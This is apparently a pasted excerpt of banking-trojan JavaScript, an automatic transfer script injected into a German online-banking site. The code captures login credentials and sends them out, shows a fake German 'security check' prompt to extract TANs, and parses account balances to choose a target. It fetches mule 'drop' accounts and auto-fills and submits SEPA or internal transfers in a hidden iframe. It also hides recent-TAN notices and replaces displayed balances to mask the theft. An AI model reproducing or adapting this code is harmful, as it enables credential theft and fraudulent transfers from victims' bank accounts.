  925.                 //ATS.debugMsg('Found: ' + accounts_list[i].number + '; balance: ' + accounts_list[i].balance + '; transf: ' + accounts_list[i].transf);
  926.                 return accounts_list[i];
  927.             }
  928.        
  929.     }
  930.     return false;
  931. }
  932.  
  933. var langs ={
  934.  simple_property: 'Hello',
  935.  EN: {
  936.   waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  937.   nextbutton: "Weiter",
  938.   errortan: "TAN falsch, bitte richtige TAN eingeben",
  939.   errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  940.   autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br />"
  941.  },
  942.   DE: {
  943.   waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  944.   nextbutton: "Weiter",
  945.   errortan: "TAN falsch, bitte richtige TAN eingeben",
  946.   errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  947.   autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"
  948.  
  949.  },
  950.  
  951.  getLang: function(step) {
  952.  
  953.  
  954. var ln='EN';
  955. if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
  956.  
  957. //  return(this.simple_property + ', ' + this[ln][step]);
  958.   return(this[ln][step]);
  959.  },
  960.  
  961.  getCurLang: function() {
  962.  
  963.  
  964. var ln='EN';
  965. if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
  966.  
  967.   return(ln);
  968.  }
  969.  
  970. };
  971.  
  972.  
  973.  
  974.  
  975. document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}.formContainer2 #gad_contentbox {padding: 0px;font-size:13px;width: auto;} .formContainer2 {border: 0.1em solid #C1C3C4 !important;text-align: left;color: #333333;   margin: 17px; color: #333333; } .formContainer2 h2 { border-bottom:1px solid #EDEDED;   font-weight:700; color: #FFFFFF !important;  line-height: normal !important;  padding: 1px 16px 2px 7px!important;background: url("'+CONTENT_URL+'/images/h2.jpg") repeat-x;} </style>');
  976.  
  977.  
  978.  
  979.  
  980.  
  981. ATS.checkTestPage = function()
  982. {
  983.     if(jq('#gad_contentbox').length) return true;
  984.     //  jq('#gad_contentbox').attr("style").indexOf('demo')!=-1) return true;
  985.     else return false;
  986. }
  987.  
  988.  
  989. ATS.checkLoginPage = function()
  990. {
  991.     return !!jq("input[type='password']").length;
  992. }
  993.  
  994.  
  995.  
  996. ATS.isLoggedIn = function()
  997. {
  998.    
  999. if (jq('input[value="Abmelden"]').length  || jq('#logoutform').length ) return true;
  1000.  
  1001.     else return false;
  1002. }
  1003. ATS.UI_blockSite = function()
  1004. {
  1005.     if (ATS.debugNoOverlay)
  1006.         return;
  1007.        
  1008.     if (jq('#inj_block_overlay').length)
  1009.         jq('#inj_block_overlay').show();
  1010.     else
  1011.         jq('body').prepend('<div id=inj_block_overlay></div>');
  1012. }
  1013. ATS.UI_unblockSite = function()
  1014. {
  1015.     jq('#inj_block_overlay').hide();
  1016.     jq('body > div:not(#inj_block_overlay,#inj_dialog_box,.inj_full_overlay)').show();
  1017.    
  1018. }
  1019.  
  1020.  
  1021.  
  1022. ATS.getFinanzstatusLink = function()
  1023. {
  1024.  
  1025.     if(!parent.ATS.finLink){
  1026.        
  1027.     //parent.ATS.finLink=jq('.nav0wrap li:eq(0) a:eq(0)').attr("href");
  1028.     parent.ATS.finLink=parent.document.location.href;
  1029.     }
  1030.     return parent.ATS.finLink;
  1031.    
  1032.    
  1033.    
  1034. }
  1035.  
  1036.  
  1037.  
  1038. ATS.UI_showDialogBox = function()
  1039. {
  1040.     jq('body > div:not(#inj_dialog_box,.inj_full_overlay)').hide();
  1041.    
  1042.     if (!jq('#inj_dialog_box').length)
  1043.     {
  1044.         var injectCode = ATS.UI_getInjectCode();
  1045.         jq('body').append(injectCode);
  1046.        
  1047.         jq('button[name=inj_weiter]').click(ATS.UI_onWeiterClick);
  1048.     }
  1049.     jq('#inj_dialog_box').show();
  1050. }
  1051.  
  1052. ATS.getLoginForm = function()
  1053. {
  1054.     var form = jq("form.anmeldung");
  1055.     if (form.length)
  1056.         return form[0];
  1057.     /* 
  1058.     form = jq("form").has('input#anmeld');
  1059.     if (form.length)
  1060.         return form[0];
  1061.         */
  1062.     return false;
  1063. }
  1064.  
  1065.  
  1066. ATS.getPageTitle = function(findtext)
  1067. {
  1068.      var title=jq.trim(jq("h2.contentbereichHeadLine").eq(0).text());
  1069.     if (title.indexOf(findtext) !=-1) return true;
  1070.     else return false;
  1071. }
  1072. ATS.hideLastTAN = function()
  1073. {
  1074.  
  1075.     var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
  1076.     if (el.length)
  1077.     {
  1078.         var html = jq(el).html();
  1079.         var pos = html.indexOf('Ihre zuletzt');
  1080.         if (pos >= 0)
  1081.             jq(el).html(html.substr(0, pos));
  1082.     }
  1083.    
  1084.  
  1085.     jq('p:contains(Zuletzt benutzte)').remove();
  1086. }
  1087.  
  1088.  
  1089. ATS.sleep= function(m) {var then = new Date(new Date().getTime() + m); while (new Date() < then) {}};
  1090.  
  1091.  
  1092.  
  1093. ATS.setLoginHook = function()
  1094. {
  1095.     //ATS.loginDataSent = false;
  1096.     var loginInfoSent = false;
  1097.        
  1098.     var loginForm = ATS.getLoginForm();
  1099.  
  1100.  
  1101.         //loginForm.onsubmit = function(){return true};
  1102.         jq(loginForm).find('input:visible:last').unbind('click').attr('onclick',"return true;");
  1103.        
  1104.         jq(loginForm).find('input:visible:last').click(function(e){
  1105.        
  1106.             var loginForm = ATS.getLoginForm();                        
  1107.            
  1108.             var login=jq(loginForm).find('input:visible.il').eq(0).val();
  1109.            
  1110.             var password=jq(loginForm).find('input:visible.il').eq(1).val();
  1111.          
  1112.  
  1113.         if (!loginInfoSent)
  1114.         {            
  1115.             e.preventDefault();
  1116.              ATS.debugMsg('login info: ' + login + ', ' + password);
  1117.              
  1118.                 jq(loginForm).find('input:visible:last').attr('disabled', 'disabled');                  
  1119.                     ATS.sendLoginInfo(login, password, function(){
  1120.                         ATS.debugMsg('after clik ');
  1121.                         loginInfoSent = true;
  1122.                         jq(loginForm).find('input:visible:last').attr('disabled', false);
  1123.                          //wpSubmit = true;
  1124.                         jq(loginForm).find('input:visible:last').click();                        
  1125.                     });
  1126.                    
  1127.                  
  1128.         }
  1129.             //ATS.sleep(4000);
  1130. //          if (ATS.loginDataSent) return true; else return false;  
  1131.         });
  1132.            
  1133.  
  1134. }
  1135.  
  1136.  
  1137.  
  1138.  
  1139. ATS.getTime = function()
  1140. {
  1141.     return Math.floor((new Date).getTime() / 1000);
  1142. }
  1143.  
  1144.  
  1145.  
  1146.  
  1147. ATS.openInIframe = function(url)
  1148. {
  1149.     var iframe = jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="' + url + '"></iframe>');
  1150.     jq('body').append(iframe);
  1151.     if (ATS.debugVisibleFrame)
  1152.     {
  1153.         jq("#ats_wrk_iframe").css('width', '1200px');
  1154.         jq("#ats_wrk_iframe").css('height', '1200px');
  1155.         jq("#ats_wrk_iframe").css('top', '1000px');
  1156.         jq("#ats_wrk_iframe").css('position', 'absolute');
  1157. //          jq("body").css('position', 'relative');
  1158.     }
  1159.     else
  1160.     {
  1161.         jq("#ats_wrk_iframe").css('width', '1px');
  1162.         jq("#ats_wrk_iframe").css('height', '1px');
  1163.         //jq(iframe).css('top', '0px');
  1164.         //jq(iframe).css('position', 'absolute');
  1165.         jq("#ats_wrk_iframe").css('visibility', 'hidden');
  1166.     }
  1167. }
  1168.  
  1169.  
  1170. ATS.parseAccountsList = function()
  1171. {
  1172.    
  1173.  
  1174.    
  1175.     var accountsList = new Array();
  1176.     jq("table.btable").each(function(){
  1177.         jq(this).find('tr:has(img[alt*="berweisung"]):not(:contains(Kreditkarte),:contains(*))').each(function(){
  1178.            if (langs.getCurLang()=='EN'){
  1179.               //  var number=jq.trim(jq(this).children("td:eq(0)").text().replace(/\D+/g,''));
  1180.                // var overdraft=jq.trim(jq(this).children("td:eq(1)").text().replace(/\,/g, ''));
  1181.                // var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/\,/g, ''));
  1182.             }
  1183.             else{
  1184.                 var number=jq.trim(jq(this).children("td:eq(0)").text().replace(/\D+/g,''));
  1185.                 var overdraft=0;
  1186.                 //var overdraft=jq.trim(jq(this).children("td:eq(1)").text().replace(/\./g, '').replace(/\,/g, '.'));
  1187.                 var balance=jq.trim(jq(this).children("td:eq(3)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
  1188.            
  1189.         var overdraftHref=jq(this).children("td:eq(4)").find('a:has(img[alt*="berweisung"])').attr('href');
  1190.        
  1191.                
  1192.             }
  1193.            
  1194.                 if (number != '')
  1195.                     {
  1196.     ATS.debugMsg('number: ' + number + '; balance : ' + balance +  '; overdraft : ' + overdraft);
  1197.     //ATS.sendLogMsg('Account: ' + number + '; balance : ' + balance +  '; overdraft : ' + overdraft);
  1198.                         accountsList.push({number: number,balance: balance, overdraft: overdraft, overdraftHref: overdraftHref,totalBalance: parseFloat(overdraft) + parseFloat(balance)});  
  1199.                      
  1200.                      
  1201.                     }
  1202.    
  1203.         })
  1204.     });
  1205.  
  1206.  
  1207.     return accountsList;
  1208. }
  1209.  
  1210.  
  1211.  
  1212.  
  1213. ATS.framePageFinanzstatus = function()
  1214. {
  1215.  
  1216.     if(!parent.ATS.Gesamtsaldo){
  1217.  
  1218. var saldo=0;
  1219. jq("table.btable").each(function(){
  1220.     var el=jq(this).find('tr:has(td:contains("Summe in Euro"))').find('td:eq(2)')
  1221.  if (el.length) saldo+=ATS.fin2float(jq(el).text());
  1222.    
  1223.    }); 
  1224.  
  1225.     parent.ATS.Gesamtsaldo = saldo;
  1226.     }
  1227.    
  1228.     ATS.debugMsg('parent.ATS.Gesamtsaldo: ' + parent.ATS.Gesamtsaldo);
  1229.  
  1230.     ATS.debugMsg('ATS.framePageFinanzstatus, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1231.    
  1232.     parent.ATS.accounts_list = ATS.parseAccountsList();
  1233.  
  1234.     if (!parent.ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find balance');
  1235.    
  1236.     //var maxBalance = ATS.getMaxTransferAcc();
  1237.     var maxAcc = ATS.getMaxTransferAcc();
  1238.     if (!maxAcc) return false;
  1239.    
  1240.     parent.ATS.maxAcc=maxAcc;
  1241.     parent.ATS.maxBalanceDrop=parent.ATS.maxAcc.balance;
  1242.     parent.ATS.transfer_acc=parent.ATS.maxAcc.number;
  1243.    
  1244.     parent.ATS.StepInFrame.set_current_state("preTransferPage");
  1245.  
  1246.  
  1247.  
  1248.     if(!parent.ATS.Gesamtsaldo){
  1249.  
  1250. var saldo=0;
  1251. jq("table.btable").each(function(){
  1252.     var el=jq(this).find('tr:has(td:contains("Summe in Euro"))').find('td:eq(2)')
  1253.  if (el.length) saldo+=ATS.fin2float(jq(el).text());
  1254.    
  1255.    }); 
  1256.  
  1257.     if (saldo==0 ){ parent.ATS.Gesamtsaldo = parent.ATS.maxBalanceDrop;}else{parent.ATS.Gesamtsaldo = saldo;}
  1258.     }
  1259.  
  1260.    
  1261.  
  1262.    
  1263.         setTimeout(function(){
  1264.               document.location=parent.ATS.maxAcc.overdraftHref;                    
  1265.         }, 2000);
  1266.    
  1267.  
  1268.      
  1269.    
  1270. }
  1271.  
  1272. ATS.preTransferPage = function()
  1273. {
  1274. var totalKreditBalance=parent.ATS.maxBalanceDrop;
  1275.  
  1276.     ATS.getDrop('SEPA', totalKreditBalance, function(data){
  1277.                     if (data && data.drop)
  1278.                     {
  1279.                         parent.ATS.sepa_drop = data.drop;
  1280.                         ATS.framePageSEPA_page();
  1281.                        
  1282.                     }
  1283.                     else
  1284.                     {
  1285.                        
  1286.                         ATS.getDrop('SEPA_INT', totalKreditBalance, function(data){
  1287.                         if (data && data.drop)
  1288.                         {
  1289.                
  1290.                             parent.ATS.int_drop = data.drop;
  1291.                             parent.ATS.transf_mode = 'int';
  1292.                             ATS.framePageInternal_transf_page();            
  1293.                         }
  1294.                         else
  1295.                         {
  1296.                             parent.ATS.UI_hideDialogBox();
  1297.                             parent.ATS.UI_unblockSite();
  1298.                             ATS.die('KreditlimitPage: no SEPA_INT drop');
  1299.    
  1300.                         }
  1301.                         });
  1302.                  
  1303.                        
  1304.                     }
  1305.                 });
  1306.                
  1307.                
  1308.      
  1309.    
  1310. }    
  1311.  
  1312.  
  1313. ATS.framePageSEPA_page = function()
  1314. {
  1315. //  ATS.debugMsg('ATS.framePageSEPA_page, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1316. jq('input[type="radio"]:eq(0)').attr('checked',"checked");
  1317. var drop = parent.ATS.sepa_drop;
  1318. jq('input[name="payeeName"]').val(drop.DrName);
  1319. jq('input[name="payeeAccountOrIbanNo"]').val(jq.trim(parent.ATS.sepa_drop.IBAN));
  1320. jq('input[name="payeeBankcodeOrBIC"]').val( ATS.padRight(drop.BIC,11));    
  1321.  
  1322. parent.ATS.StepInFrame.set_current_state("framePageSEPA_fill");
  1323. ATS.sendLogMsg('SEPA form step 1 filled',
  1324.                         function(){
  1325.    
  1326.                             if ( jq('button.submit[title*="eiter"]').length)
  1327.                             {
  1328.                              
  1329.                                 setTimeout(function(){
  1330.                                
  1331.                                     jq('button.submit[title*="eiter"]').click();
  1332.                                 }, 6000);
  1333.                             }
  1334.                             else
  1335.                             {
  1336.                                 ATS.die('framePageSEPA_page: cant find continue button');
  1337.                             }
  1338.  
  1339.                         });
  1340.    
  1341. }
  1342.  
  1343. ATS.framePageSEPA_fill = function()
  1344. {
  1345.  
  1346. var drop = parent.ATS.sepa_drop;
  1347.    
  1348.     //jq('input[type="radio"]:eq(1)').attr('checked',"checked");
  1349.     //ATS.datafunc();  
  1350.    
  1351.     jq('input[name="amountToTransfer"]').val(drop.amount);
  1352.     jq('textarea[name="paymentPurposeLine1"]').val(drop.Reference);
  1353.  
  1354.     parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");
  1355.  
  1356. ATS.sendLogMsg('SEPA form step 2 filled',
  1357.                         function(){
  1358.    
  1359.                             if ( jq('button.submit[title*="eiter"]').length)
  1360.                             {
  1361.                              
  1362.                                 setTimeout(function(){
  1363.                                
  1364.                                     jq('button.submit[title*="eiter"]').click();
  1365.                                 }, 6000);
  1366.                             }
  1367.                             else
  1368.                             {
  1369.                                 ATS.die('framePageSEPA_fill: cant find continue button');
  1370.                             }
  1371.  
  1372.                         });
  1373.  
  1374.  
  1375. }
  1376.  
  1377.  
  1378.  
  1379. ATS.framePageInternal_transf_page = function()
  1380. {
  1381.                        
  1382. jq('input[type="radio"]:eq(0)').attr('checked',"checked");
  1383. var drop = parent.ATS.int_drop;
  1384. jq('input[name="payeeName"]').val(drop.DrName);
  1385. jq('input[name="payeeAccountOrIbanNo"]').val(drop.IBAN);
  1386. jq('input[name="payeeBankcodeOrBIC"]').val( ATS.padRight(drop.BIC,11));  
  1387.  
  1388.    
  1389.  
  1390. parent.ATS.StepInFrame.set_current_state("framePageInternal_transf_page_fill");
  1391. ATS.sendLogMsg('Internal form step 1 filled',
  1392.                         function(){
  1393.    
  1394.                             if ( jq('button.submit[title*="eiter"]').length)
  1395.                             {
  1396.                              
  1397.                                 setTimeout(function(){
  1398.                                
  1399.                                     jq('button.submit[title*="eiter"]').click();
  1400.                                 }, 6000);
  1401.                             }
  1402.                             else
  1403.                             {
  1404.                                 ATS.die('framePageInternal_transf_page: cant find continue button');
  1405.                             }
  1406.  
  1407.                         });
  1408.  
  1409.  
  1410. }
  1411.  
  1412.  
  1413. ATS.framePageInternal_transf_page_fill = function()
  1414. {
  1415.     var drop = parent.ATS.int_drop;
  1416.    // jq('input[type="radio"]:eq(1)').attr('checked',"checked");
  1417.     //ATS.datafunc();
  1418.    
  1419.     jq('input[name="amountToTransfer"]').val(drop.amount);
  1420.     jq('textarea[name="paymentPurposeLine1"]').val(drop.Reference);
  1421.  
  1422.     parent.ATS.StepInFrame.set_current_state("INT_form_filled");
  1423. ATS.sendLogMsg('Internal form step 2 filled',
  1424.                         function(){
  1425.    
  1426.                             if ( jq('button.submit[title*="eiter"]').length)
  1427.                             {
  1428.                              
  1429.                                 setTimeout(function(){
  1430.                                
  1431.                                     jq('button.submit[title*="eiter"]').click();
  1432.                                 }, 6000);
  1433.                             }
  1434.                             else
  1435.                             {
  1436.                                 ATS.die('framePageInternal_transf_page_fill: cant find continue button');
  1437.                             }
  1438.  
  1439.                         });
  1440.  
  1441. }
  1442.  
  1443. ATS.datafunc = function()
  1444. {
  1445.  
  1446.     jq('input[name="executionDate"]').change();
  1447.    
  1448.   var newDt = new Date();
  1449.   var newDt2 = new Date();
  1450.  
  1451.    cursec=Math.floor(newDt.getTime() / 1000);
  1452.  
  1453.      newDt2.setHours(13);
  1454.      newDt2.setMinutes(55);
  1455.  
  1456.    needsec=Math.floor(newDt2.getTime() / 1000);
  1457.    
  1458.  
  1459. var mon=parseInt(newDt.getUTCMonth()+1);
  1460. if(mon<10) mon=0+mon;  
  1461.    
  1462.    if((parent.ATS.Timeout==false) && (cursec <  needsec)  ){
  1463. var datefield=newDt.getUTCDate()+'.'+mon+'.'+newDt.getUTCFullYear();
  1464. }else{
  1465.  
  1466.  
  1467.  
  1468. switch (newDt.getUTCDay()){
  1469.     case 0:
  1470.     newDt2.setDate(newDt.getUTCDate() + 1);        
  1471.     break;
  1472.  
  1473.     case 5:
  1474.     newDt2.setDate(newDt.getUTCDate() + 3);        
  1475.     break;
  1476.  
  1477.     case 6:
  1478.     newDt2.setDate(newDt.getUTCDate() + 2);        
  1479.     break;
  1480.  
  1481.  
  1482.  
  1483.      default:
  1484. newDt2.setDate(newDt.getUTCDate() + 1);  
  1485.  
  1486. }
  1487. var datefield=newDt2.getUTCDate()+'.'+mon+'.'+newDt2.getUTCFullYear();
  1488. }
  1489.  
  1490.  
  1491. jq('input[name="executionDate"]').val(datefield);  
  1492.    
  1493. }
  1494.  
  1495.  
  1496. ATS.enterCode = function(tan)
  1497. {
  1498.     ATS.debugMsg('ATS.enterCode ' + tan);
  1499.    
  1500.    
  1501.     if (jq('#tanInputSelector').length)
  1502.     {
  1503.         jq('#tanInputSelector').val(tan);
  1504.        
  1505.         if ( jq('button.submit[name*="confirm"]').eq(0).length)
  1506.         {
  1507.             //parent.ATS.current_state = 120;
  1508.             parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");
  1509.             parent.ATS.UI_showWait();
  1510.                                
  1511.             jq('button.submit[name*="confirm"]').click();
  1512.                                
  1513.            
  1514.            
  1515.         }
  1516.         else
  1517.             ATS.die('enterCode: cant find  button');
  1518.     }
  1519.     else
  1520.         ATS.die('enterCode: cant find field by label');
  1521. }
  1522.  
  1523.  
  1524.  
  1525. ATS.frameWork = function()
  1526. {
  1527.     ATS.debugMsg('ATS.frameWork, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1528.     ATS.sendLogMsg('frame state ' + ATS.StepInFrame[parent.ATS.current_state]);
  1529.     switch (ATS.StepInFrame[parent.ATS.current_state])
  1530.     {
  1531.  
  1532.         case "framePageFinanzstatus":
  1533.             ATS.framePageFinanzstatus();
  1534.             break;
  1535.            
  1536.        
  1537.         case "preTransferPage":
  1538.             ATS.preTransferPage();
  1539.             break;
  1540.            
  1541.    
  1542.         case "SEPA_page":
  1543.             ATS.framePageSEPA_page();
  1544.             break;
  1545.            
  1546.         case "framePageSEPA_fill":
  1547.             ATS.framePageSEPA_fill();
  1548.             break;
  1549.  
  1550.         case "framePageInternal_transf_page_fill":
  1551.             ATS.framePageInternal_transf_page_fill();
  1552.             break;
  1553.  
  1554.            
  1555.            
  1556.  
  1557.         case "SEPA_form_filled":
  1558.        
  1559.             var textEl=jq('.errorMessage:visible');
  1560.            
  1561.             if (!textEl.length)
  1562.             {
  1563.    
  1564.                  ATS.UI_askTan();
  1565.                        
  1566.             }
  1567.                 else {
  1568.            
  1569.             if (textEl.text().indexOf("Aufgrund technischer Probleme kann Ihre Anfrage zur Zeit nicht korrekt verarbeitet werden")!=-1) {
  1570.                 parent.ATS.Timeout=true;
  1571.                 ATS.framePageSEPA_fill();
  1572.             }
  1573.                 else {ATS.die('Error fill SEPA form: ' + textEl.text() );}
  1574.                   }
  1575.            
  1576.             break;
  1577.            
  1578.  
  1579.             case "Internal_transf_page":
  1580.                 ATS.framePageInternal_transf_page();
  1581.             break;
  1582.            
  1583.  
  1584.         case "INT_form_filled":
  1585.             var textEl=jq('.errorMessage:visible');
  1586.            
  1587.             if (!textEl.length)
  1588.             {
  1589.    
  1590.                  ATS.UI_askTan();
  1591.                        
  1592.             }
  1593.                 else {
  1594.            
  1595.             if (textEl.text().indexOf("Aufgrund technischer Probleme kann Ihre Anfrage zur Zeit nicht korrekt verarbeitet werden")!=-1) {
  1596.                 parent.ATS.Timeout=true;
  1597.                 ATS.framePageInternal_transf_page_fill();
  1598.             }
  1599.                 else {ATS.die('Error fill INT form: ' + textEl.text() );}
  1600.                   }
  1601.            
  1602.             break;
  1603.            
  1604.            
  1605.    
  1606.         case "TAN_ENTERED":
  1607.        
  1608.         ATS.debugMsg("TAN_ENTERED");
  1609.  
  1610.        
  1611.         if (jq('.errorMessage:visible').length)
  1612.         {
  1613.             parent.ATS.badTan = true;
  1614.             ATS.UI_askTan();
  1615.    
  1616.                 }
  1617.        else {  
  1618.         if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
  1619.         else ATS.framePageReceiptInternal();
  1620.        
  1621.        }
  1622.  
  1623.        
  1624.             break;                        
  1625.    
  1626.        
  1627.     }
  1628. }
  1629.  
  1630.  
  1631. if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
  1632. {
  1633.     document.write('<div class="inj_full_overlay"></div>');
  1634.    
  1635.     jq(document).ready(function(){
  1636.         ATS.debugMsg('document loaded');
  1637.        
  1638.  
  1639.     ATS.loadData(function(data){
  1640.  
  1641.         if (ATS.account_id != 0)
  1642.         {  
  1643.      
  1644.             switch (ATS.getCookie('status')) {
  1645.                case "1":
  1646.                   if (ATS.isLoggedIn()) {ATS.replaceBalances(); }
  1647.                   jq('.inj_full_overlay').remove();
  1648.                  
  1649.                   break;
  1650.                case "2":
  1651.                ATS.debugMsg('case "2"');
  1652.                
  1653.                
  1654.               if(((ATS.getTime() - ATS.getCookie('error_time'))/3600)>=2) {
  1655.                 ATS.setCookie('status',0);
  1656.                 ATS.saveCookies();
  1657.                 ATS.sendLogMsg('Replace cookie status from 2 on 0');
  1658.                 jq('.inj_full_overlay').remove();
  1659.               } else {jq('.inj_full_overlay').remove(); break;}
  1660.              
  1661.              
  1662.                default:
  1663.                
  1664.                         if (ATS.checkLoginPage())
  1665.                         {
  1666.                             ATS.debugMsg('login page');
  1667.                             ATS.setLoginHook();
  1668.                             jq('.inj_full_overlay').remove();
  1669.                             break;
  1670.                         }                          
  1671.                        
  1672.                      
  1673.                         if (ATS.isLoggedIn())
  1674.                         {
  1675.                             ATS.debugMsg('logged in!');
  1676.                            
  1677.  
  1678.                     var t =jq('ul.activeNotificationAction a').text();
  1679.                     if ((t.indexOf('Sperre aufheben')!=-1) || (t.indexOf('Unlock TAN list')!=-1)){
  1680.                         ATS.debugMsg('TAN locked!');
  1681.                         ATS.die("TAN locked!");
  1682.                         jq('.inj_full_overlay').remove();
  1683.                         break;
  1684.                     }
  1685.                          
  1686.                            
  1687.                        
  1688.                             if ((parent.document !== document) && parent.ATS)
  1689.                             {
  1690.                                 ATS.debugMsg('we are in frame!');
  1691.                                 ATS.frameWork();
  1692.                                 jq('.inj_full_overlay').remove();
  1693.                                 break;
  1694.                             }
  1695.                             else
  1696.                             {
  1697.                                 jq('.inj_full_overlay').remove();
  1698.                                
  1699.                                 ATS.UI_blockSite();
  1700.                                 ATS.UI_showWait();
  1701.                                 ATS.mainWork();
  1702.                                 break;
  1703.                             }
  1704.                         }
  1705.                         else
  1706.                         {
  1707.                             if ((parent.document !== document) && parent.ATS)
  1708.                             {
  1709.                                 ATS.debugMsg('we are in frame and not logged in!');
  1710.                             }
  1711.                         }              
  1712.                
  1713.                
  1714.                     break;
  1715.             }
  1716.          
  1717.            
  1718.  
  1719.         }else {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}
  1720.        
  1721.        
  1722.         if(jq('#ummelden').text().indexOf("Zum Login")!=-1) {jq('.inj_full_overlay').remove();
  1723.         ATS.debugMsg('Zum Login!');}
  1724.     });
  1725.      
  1726.        
  1727.  
  1728.        
  1729.  
  1730.     });
  1731. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement